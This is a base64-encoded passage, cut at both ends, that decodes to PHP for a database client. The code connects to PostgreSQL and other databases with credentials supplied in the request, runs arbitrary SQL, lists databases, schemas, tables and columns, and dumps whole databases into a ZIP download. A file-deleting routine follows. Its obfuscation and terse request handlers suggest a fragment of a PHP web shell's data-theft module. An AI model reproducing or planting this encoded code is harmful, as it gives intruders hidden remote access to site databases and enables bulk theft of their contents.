CAgPSAkdGhpcy0+X3BhcmFtczsKICAgICAgICAgICAgICAgICAgICBpZiAoJGIgIT09IE5VTEwpCiAgICAgICAgICAgICAgICAgICAgICAgICR2IC49ICcgYmFzZT0nIC4gJHRoaXMtPmVzY1BhcmFtKCRiKTsKICAgICAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgICAgICAkdiA9IG5ldyBQRE8oJHYpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5jb25uRXJyb3IoJGUtPmdldE1lc3NhZ2UoKSwgJGgsICR1LCAkcCwgJGIpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkdi0+cXVlcnkoIlNFVCBDTElFTlRfRU5DT0RJTkcgVE8gJyIgLiAkdGhpcy0+Y2hhcnNldCgkYykgLiAiJyIpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5fY25jdCA9ICR2OwogICAgICAgICAgICAgICAgICAgIHJldHVybiBUUlVFOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZnVuY3Rpb24gc2V0QmFzZSgkdikgewogICAgICAgICAgICAgICAgICAgIGlmICgkdiAhPT0gJHRoaXMtPl9iYXNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5fcmVzICA9IE5VTEw7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5fY25jdCA9IE5VTEw7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5fYmFzZSA9IE5VTEw7CiAgICAgICAgICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdiA9IG5ldyBQRE8oJHRoaXMtPl9wYXJhbXMgLiAnIGJhc2U9JyAuICR0aGlzLT5lc2NQYXJhbSgkdikpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBGQUxTRTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+X2Jhc2UgPSAkdjsKICAgICAgICAgICAgICAgICAgICAgICAgJHYtPnF1ZXJ5KCJTRVQgQ0xJRU5UX0VOQ09ESU5HIFRPICciIC4gJHRoaXMtPmNoYXJzZXQoJHRoaXMtPl9jbGNzKSAuICInIik7CiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5fY25jdCA9ICR2OwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gVFJVRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldFRhYmxlU2l6ZSgkYiwgJHMsICR0KSB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5zcWxUYWJsZVNpemUocGdzcWxFc2NOYW1lKCRzLCAkdCkpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZnVuY3Rpb24gZ2V0Q29sdW1ucygkYiwgJHMsICR0KSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRhID0gcGFyZW50OjpnZXRDb2x1bW5zKCRiLCAkcywgJHQpKQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5nZXRDb2x1bW5zTmFtZXMocGdzcWxFc2NOYW1lKCRzLCAkdCkpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZnVuY3Rpb24gZHVtcCgkYiwgJHMsICR0LCAkYywgJGYpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5zZXRCYXNlKCRiKSkKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHNwcmludGYoRV9DSE5HREIsICRiLCAkcywgJHQpOwogICAgICAgICAgICAgICAgICAgICRpID0gJyc7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdiA9ICR0aGlzLT5nZXRDb2x1bW5zKCRiLCAkcywgJHQpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3FsT3V0Q3JlYXRlKCR0LCAkdiwgJ0JJTkFSWScsICdwZ3NxbEVzY05hbWUnKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGkgPSBzcHJpbnRmKEVfQ05TVENTLCAkYiAuICcuJyAuICRzIC4gJy4nIC4gJHQpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkYyA9IHNxbEpvaW5Db2x1bW5zKCRjLCAncGdzcWxFc2NOYW1lJyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5fY25jdC0+cXVlcnkoJ0JFR0lOOyBERUNMQVJFIGMgQ1VSU09SIEZPUiBTRUxFQ1QgJyAuICRjIC4gJyBGUk9NICcgLiBwZ3NxbEVzY05hbWUoJHMsICR0KSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkdiA9ICR0aGlzLT5fY25jdC0+cXVlcnkoJ0ZFVENIIE5FWFQgRlJPTSBjJykpICYmICgkdiA9ICR2LT5mZXRjaChQRE86OkZFVENIX0FTU09DKSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZikKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzcWxPdXRJbnNlcnQocGdzcWxFc2NOYW1lKCR0KSwgJGMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gaW1wbG9kZSgnOycsIGFycmF5X2tleXMoJHYpKSwgIlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjID0gJHRoaXMtPl9jbmN0OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGQgPSBGQUxTRTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGQpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGQ7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZCA9ICRmID8gJywnIDogIlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGYpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNxbE91dFZhbHVlcygkdiwgJ3Bnc3FsRXNjRGF0YScpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY3N2T3V0VmFsdWVzKCR2KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gd2hpbGUgKCgkdiA9ICRjLT5xdWVyeSgnRkVUQ0ggTkVYVCBGUk9NIGMnKSkgJiYgKCR2ID0gJHYtPmZldGNoKFBETzo6RkVUQ0hfTlVNKSkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjtcbiI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPl9jbmN0LT5xdWVyeSgnQ0xPU0UgYzsgUk9MTEJBQ0snKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgJGkgLj0gc3ByaW50ZihFX1NMQ1REVCwgJGIgLiAnLicgLiAkcyAuICcuJyAuICR0KTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJGk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmdW5jdGlvbiBmZXRjaFNjaGVtYSgpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPl9yZXMtPmZldGNoQ29sdW1uKDApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgZW5kaWY7CiAgICAgICAgZnVuY3Rpb24gb3V0RGF0YSgmJFMpIHsKICAgICAgICAgICAgZWNobyAnLCJmIjpbJzsKICAgICAgICAgICAgaWYgKCR2ID0gJFMtPmZldGNoQXNzb2MoKSkgewogICAgICAgICAgICAgICAgJGIgPSBGQUxTRTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR2IGFzICRrID0+ICRpKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRiKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICcsJzsKICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICRiID0gVFJVRTsKICAgICAgICAgICAgICAgICAgICBqc29uRWNobygkayk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvICddLCJyIjpbJzsKICAgICAgICAgICAgICAgICRiID0gRkFMU0U7CiAgICAgICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRiKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICcsJzsKICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICRiID0gVFJVRTsKICAgICAgICAgICAgICAgICAgICBlY2hvICdbJzsKICAgICAgICAgICAgICAgICAgICAkayA9IEZBTFNFOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR2IGFzICRpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaykKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkayA9IFRSVUU7CiAgICAgICAgICAgICAgICAgICAgICAgIGpzb25FY2hvKCRpKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWNobyAnXSc7CiAgICAgICAgICAgICAgICB9IHdoaWxlICgkdiA9ICRTLT5mZXRjaFJvdygpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICddJzsKICAgICAgICB9CiAgICAgICAgJFMgPSAkRFsnZSddIC4gJ0NsaWVudCc7CiAgICAgICAgJFMgPSBuZXcgJFMoKTsKICAgICAgICBpZiAoISRTLT5jb25uZWN0KCREWydoJ10sICREWyd1J10sICREWydwJ10sICREWydiJ10sICREWydsJ10pKQogICAgICAgICAgICAkUy0+Y29ubkVycm9yKCRTLT5nZXRFcnJvcigpLCAkRFsnaCddLCAkRFsndSddLCAkRFsncCddLCAkRFsnYiddKTsKICAgICAgICBpZiAoaXNzZXQoJERbJ2QnXSkpIHsKICAgICAgICAgICAgJFogPSBuZXcgUFpJUCgpOwogICAgICAgICAgICAkWi0+aW5pdCgpOwogICAgICAgICAgICAkYSA9IGFycmF5KCk7CiAgICAgICAgICAgICRtID0gcGFja1RpbWUodGltZSgpKTsKICAgICAgICAgICAgZm9yZWFjaCAoJERbJ2QnXSBhcyAkayA9PiAkdikgewogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCREWydzJ11bJGtdKSkKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkRFsncyddWyRrXSBhcyAkaSA9PiAkcykgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJERbJ3QnXVskayAuICctJyAuICRpXSkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkRFsndCddWyRrIC4gJy0nIC4gJGldIGFzICRuID0+ICR0KQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhWyR2XVskc11bJHRdID0gaXNzZXQoJERbJ2YnXVskayAuICctJyAuICRpIC4gJy0nIC4gJG5dKSA/ICREWydmJ11bJGsgLiAnLScgLiAkaSAuICctJyAuICRuXSA6IEZBTFNFOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKCRTLT5nZXRUYWJsZXMoJHYsICRzKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJHQgPSAkUy0+ZmV0Y2hUYWJsZSgpKSAhPT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbJHZdWyRzXVskdF0gPSBGQUxTRTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoaXNzZXQoJERbJ3QnXVska10pKQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCREWyd0J11bJGtdIGFzICRpID0+ICRzKQogICAgICAgICAgICAgICAgICAgICAgICAkYVskdl1bJHNdID0gaXNzZXQoJERbJ2YnXVskayAuICctJyAuICRpXSkgPyAkRFsnZiddWyRrIC4gJy0nIC4gJGldIDogRkFMU0U7CiAgICAgICAgICAgICAgICBlbHNlaWYgKCRTLT5oYXZlU2NoZW1hcykgewogICAgICAgICAgICAgICAgICAgICRrID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJFMtPmdldFNjaGVtYXMoJHYpKQogICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKCRpID0gJFMtPmZldGNoU2NoZW1hKCkpICE9PSBGQUxTRSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRrW10gPSAkaTsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkayBhcyAkcykKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRTLT5nZXRUYWJsZXMoJHYsICRzKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJHQgPSAkUy0+ZmV0Y2hUYWJsZSgpKSAhPT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbJHZdWyRzXVskdF0gPSBGQUxTRTsKICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkUy0+Z2V0VGFibGVzKCR2KSkKICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKCR0ID0gJFMtPmZldGNoVGFibGUoKSkgIT09IEZBTFNFKQogICAgICAgICAgICAgICAgICAgICAgICAkYVskdl1bJHRdID0gRkFMU0U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGUgPSBhcnJheSgpOwogICAgICAgICAgICAkbyA9ICREWydvJ10gPT09ICcwJzsKICAgICAgICAgICAgJHggPSAkbyA/ICcuc3FsJyA6ICcuY3N2JzsKICAgICAgICAgICAgaWYgKCRTLT5oYXZlU2NoZW1hcykKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRhIGFzICRkID0+ICR2KQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR2IGFzICRzID0+ICRrKQogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkayBhcyAkdCA9PiAkYykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGYgPSBlc2NGaWxlTmFtZSgkZCAuICcuJyAuICRzIC4gJy4nIC4gJHQpIC4gJHg7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkWi0+ZmlsZUhlYWRlcigkZiwgJG0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ZihUX0RNUEhEUiwgZ21kYXRlKCdZLW0tZCBIOmk6cycpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaSA9ICRTLT5kdW1wKCRkLCAkcywgJHQsICRjLCAkbykpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGVbXSA9ICRpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ZihUX0RNUEZUUiwgZ21kYXRlKCdZLW0tZCBIOmk6cycpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaLT5maWxlRm9vdGVyKCRmLCAkbSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGEgYXMgJGQgPT4gJHYpCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJHYgYXMgJHQgPT4gJGMpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGYgPSBlc2NGaWxlTmFtZSgkZCAuICcuJyAuICR0KSAuICR4OwogICAgICAgICAgICAgICAgICAgICAgICAkWi0+ZmlsZUhlYWRlcigkZiwgJG0pOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJG8pCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludGYoVF9ETVBIRFIsIGdtZGF0ZSgnWS1tLWQgSDppOnMnKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaSA9ICRTLT5kdW1wKCRkLCAkdCwgJGMsICRvKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRlW10gPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRvKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnRmKFRfRE1QRlRSLCBnbWRhdGUoJ1ktbS1kIEg6aTpzJykpOwogICAgICAgICAgICAgICAgICAgICAgICAkWi0+ZmlsZUZvb3RlcigkZiwgJG0pOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRlKSB7CiAgICAgICAgICAgICAgICAkbiA9ICdFUlJPUlMudHh0JzsKICAgICAgICAgICAgICAgICR0ID0gcGFja1RpbWUodGltZSgpKTsKICAgICAgICAgICAgICAgICRaLT5maWxlSGVhZGVyKCRuLCAkdCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZSBhcyAkdikKICAgICAgICAgICAgICAgICAgICBlY2hvICR2OwogICAgICAgICAgICAgICAgJFotPmZpbGVGb290ZXIoJG4sICR0KTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkWi0+Y2xvc2UoKTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCREWydxJ10pKSB7CiAgICAgICAgICAgIGlmICgkUy0+cXVlcnkoJERbJ3EnXSkpIHsKICAgICAgICAgICAgICAgIGVjaG8gJ3sicSI6JzsKICAgICAgICAgICAgICAgIGpzb25FY2hvKCREWydxJ10pOwogICAgICAgICAgICAgICAgb3V0RGF0YSgkUyk7CiAgICAgICAgICAgICAgICAkUy0+Y2xvc2UoKTsKICAgICAgICAgICAgICAgIHNEaWUoJ30nKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICd7ImUiOic7CiAgICAgICAgICAgIGpzb25FY2hvKCREWydxJ10gLiAiXG4iIC4gJFMtPmdldEVycm9yKCkpOwogICAgICAgICAgICBzRGllKCd9Jyk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkRFsnZiddKSkgewogICAgICAgICAgICAkYiA9IGlzc2V0KCREWydzJ10pOwogICAgICAgICAgICBpZiAoJGIgPyAkUy0+c2VsZWN0KCREWydiJ10sICREWydzJ10sICREWyd0J10sICREWydmJ10sICREWydvJ10sICREWydyJ10pIDogJFMtPnNlbGVjdCgkRFsnYiddLCAkRFsndCddLCAkRFsnZiddLCAkRFsnbyddLCAkRFsnciddKSkgewogICAgICAgICAgICAgICAgZWNobyAneyc7CiAgICAgICAgICAgICAgICBpZiAoJFMtPmNhblBhZ2luYXRlKQogICAgICAgICAgICAgICAgICAgIGVjaG8gJyJvIjonLCAkRFsnbyddLCAnLCc7CiAgICAgICAgICAgICAgICBlY2hvICciYiI6JzsKICAgICAgICAgICAgICAgIGpzb25FY2hvKCREWydiJ10pOwogICAgICAgICAgICAgICAgaWYgKCRiKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnLCJzIjonOwogICAgICAgICAgICAgICAgICAgIGpzb25FY2hvKCREWydzJ10pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAnLCJ0IjonOwogICAgICAgICAgICAgICAganNvbkVjaG8oJERbJ3QnXSk7CiAgICAgICAgICAgICAgICBvdXREYXRhKCRTKTsKICAgICAgICAgICAgICAgICRTLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgc0RpZSgnfScpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJ3siZSI6JzsKICAgICAgICAgICAganNvbkVjaG8oIkNhbid0IGxvYWQgZGF0YSBmcm9tIHRhYmxlICIgLiAkRFsnYiddIC4gJy4nIC4gKCRiID8gJERbJ3MnXSAuICcuJyA6ICcnKSAuICREWyd0J10gLiAnICgnIC4gJFMtPmdldEVycm9yKCkgLiAnKScpOwogICAgICAgICAgICBzRGllKCd9Jyk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkRFsndCddKSkgewogICAgICAgICAgICAkYiA9IGlzc2V0KCREWydzJ10pOwogICAgICAgICAgICBpZiAoJHYgPSAoJGIgPyAkUy0+Z2V0Q29sdW1ucygkRFsnYiddLCAkRFsncyddLCAkRFsndCddKSA6ICRTLT5nZXRDb2x1bW5zKCREWydiJ10sICREWyd0J10pKSkgewogICAgICAgICAgICAgICAgJFMtPmNsb3NlKCk7CiAgICAgICAgICAgICAgICBlY2hvICd7ImIiOic7CiAgICAgICAgICAgICAgICBqc29uRWNobygkRFsnYiddKTsKICAgICAgICAgICAgICAgIGlmICgkYikgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJywicyI6JzsKICAgICAgICAgICAgICAgICAgICBqc29uRWNobygkRFsncyddKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gJywidCI6JzsKICAgICAgICAgICAgICAgIGpzb25FY2hvKCREWyd0J10pOwogICAgICAgICAgICAgICAgZWNobyAnLCJmIjpbJzsKICAgICAgICAgICAgICAgICRpID0gRkFMU0U7CiAgICAgICAgICAgICAgICAkYSA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkdiBhcyAkayA9PiAkdCkgewogICAgICAgICAgICAgICAgICAgIGlmICgkaSkKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnLCc7CiAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAkaSA9IFRSVUU7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnWyc7CiAgICAgICAgICAgICAgICAgICAganNvbkVjaG8oJGspOwogICAgICAgICAgICAgICAgICAgIGlmICghaXNzZXQoJGFbJHRdKSkKICAgICAgICAgICAgICAgICAgICAgICAgJGFbJHRdID0gY291bnQoJGEpOwogICAgICAgICAgICAgICAgICAgIGVjaG8gJywnLCAkYVskdF0sICddJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gJ10sInkiOlsnOwogICAgICAgICAgICAgICAgJGkgPSBGQUxTRTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRhIGFzICRrID0+ICR2KSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRpKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICcsJzsKICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICRpID0gVFJVRTsKICAgICAgICAgICAgICAgICAgICBqc29uRWNobygkayk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBzRGllKCddfScpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRTLT5jbG9zZSgpOwogICAgICAgICAgICBlY2hvICd7ImUiOic7CiAgICAgICAgICAgIGpzb25FY2hvKCJDYW4ndCBsaXN0IGNvbHVtbnMgZm9yIHRhYmxlICIgLiAkRFsnYiddIC4gJy4nIC4gKCRiID8gJERbJ3MnXSAuICcuJyA6ICcnKSAuICREWyd0J10pOwogICAgICAgICAgICBzRGllKCd9Jyk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkRFsnYiddKSkgewogICAgICAgICAgICAkYiA9IGlzc2V0KCREWydzJ10pOwogICAgICAgICAgICBpZiAoJGIgfHwgISRTLT5oYXZlU2NoZW1hcykgewogICAgICAgICAgICAgICAgaWYgKCRiID8gJFMtPmdldFRhYmxlcygkRFsnYiddLCAkRFsncyddKSA6ICRTLT5nZXRUYWJsZXMoJERbJ2InXSkpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICd7ImIiOic7CiAgICAgICAgICAgICAgICAgICAganNvbkVjaG8oJERbJ2InXSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJywicyI6JzsKICAgICAgICAgICAgICAgICAgICAgICAganNvbkVjaG8oJERbJ3MnXSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVjaG8gJywidCI6Wyc7CiAgICAgICAgICAgICAgICAgICAgJGkgPSBGQUxTRTsKICAgICAgICAgICAgICAgICAgICB3aGlsZSAoRkFMU0UgIT09ICgkdiA9ICRTLT5mZXRjaFRhYmxlKCkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaSA9IFRSVUU7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJ1snOwogICAgICAgICAgICAgICAgICAgICAgICBqc29uRWNobygkdik7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkRFsnciddKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJywnLCAkYiA/ICRTLT5nZXRUYWJsZVNpemUoJERbJ2InXSwgJERbJ3MnXSwgJHYpIDogJFMtPmdldFRhYmxlU2l6ZSgkRFsnYiddLCAkdik7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJ10nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkUy0+Y2xvc2UoKTsKICAgICAgICAgICAgICAgICAgICBzRGllKCddfScpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJFMtPmNsb3NlKCk7CiAgICAgICAgICAgICAgICBlY2hvICd7ImUiOic7CiAgICAgICAgICAgICAgICBqc29uRWNobygiQ2FuJ3QgbGlzdCB0YWJsZXMgZm9yICIgLiAkRFsnYiddIC4gKCRiID8gJy4nIC4gJERbJ3MnXSA6ICcnKSk7CiAgICAgICAgICAgICAgICBzRGllKCd9Jyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRTLT5nZXRTY2hlbWFzKCREWydiJ10pKSB7CiAgICAgICAgICAgICAgICBlY2hvICd7ImIiOic7CiAgICAgICAgICAgICAgICBqc29uRWNobygkRFsnYiddKTsKICAgICAgICAgICAgICAgIGVjaG8gJywicyI6Wyc7CiAgICAgICAgICAgICAgICAkYiA9IEZBTFNFOwogICAgICAgICAgICAgICAgd2hpbGUgKEZBTFNFICE9PSAoJHYgPSAkUy0+ZmV0Y2hTY2hlbWEoKSkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJGIpCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJywnOwogICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgJGIgPSBUUlVFOwogICAgICAgICAgICAgICAgICAgIGpzb25FY2hvKCR2KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRTLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgc0RpZSgnXX0nKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkUy0+Y2xvc2UoKTsKICAgICAgICAgICAgZWNobyAneyJlIjonOwogICAgICAgICAgICBqc29uRWNobygiQ2FuJ3QgbGlzdCBzY2hlbWFzIGZvciBkYXRhYmFzZSAiIC4gJERbJ2InXSk7CiAgICAgICAgICAgIHNEaWUoJ30nKTsKICAgICAgICB9CiAgICAgICAgaWYgKCRTLT5nZXRCYXNlcygpKSB7CiAgICAgICAgICAgIGVjaG8gJ1snOwogICAgICAgICAgICAkYiA9IEZBTFNFOwogICAgICAgICAgICB3aGlsZSAoRkFMU0UgIT09ICgkdiA9ICRTLT5mZXRjaEJhc2UoKSkpIHsKICAgICAgICAgICAgICAgIGlmICgkYikKICAgICAgICAgICAgICAgICAgICBlY2hvICcsJzsKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAkYiA9IFRSVUU7CiAgICAgICAgICAgICAgICBqc29uRWNobygkdik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJFMtPmNsb3NlKCk7CiAgICAgICAgICAgIHNEaWUoJ10nKTsKICAgICAgICB9CiAgICAgICAgJFMtPmNsb3NlKCk7CiAgICAgICAgc0RpZSgneyJlIjoiQ2FuXCd0IGxpc3QgZGF0YWJhc2VzIn0nKTsKICAgICAgICBicmVhazsKICAgIGNhc2UgJ3AnOgogICAgICAgIGZ1bmN0aW9uIHNkZigpIHsKICAgICAgICAgICAgaWYgKGRlZmluZWQoJ1BURicpKQogICAgICAgICAgICAgICAgZGVsRmlsZShQVEYpOwogICAgICAgICAgICBzRGllKCJceDAzXHgxRSIgLiAoZGVmaW5lZCgnUEVTJykgPyAiXHgwNiIgOiAiXHgxNSIpIC4gIlx4MTdceDA0XHgxMCIpOwogICAgICAgIH0KICAgICAgICByZWdpc3Rlcl